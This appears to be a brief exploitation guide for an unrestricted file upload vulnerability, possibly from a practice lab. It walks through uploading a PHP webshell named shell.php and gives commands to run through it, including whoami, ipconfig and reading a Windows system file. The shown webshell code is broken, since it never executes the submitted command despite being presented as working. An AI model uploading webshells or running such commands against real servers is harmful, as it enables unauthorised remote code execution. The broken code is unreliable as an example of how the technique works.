🎯 Vulnerability Info
Type: Unrestricted File Upload
Severity: Critical
💡 How to Exploit
- No file type validation
- PHP files can be uploaded
- Uploaded files are directly accessible
- Execute uploaded PHP files for RCE
🧪 Simple PHP Webshell
Create a file named shell.php:
<?php
// Simple command shell
if(isset($_GET['cmd'])) {
echo '<pre>';
echo '</pre>';
}
?>
📝 Usage
- Save the code above as shell.php
- Upload the file
- Access:
/uploads/shell.php?cmd=whoami
🔧 Test Commands
shell.php?cmd=whoami
shell.php?cmd=dir
shell.php?cmd=ipconfig
shell.php?cmd=type C:\Windows\win.ini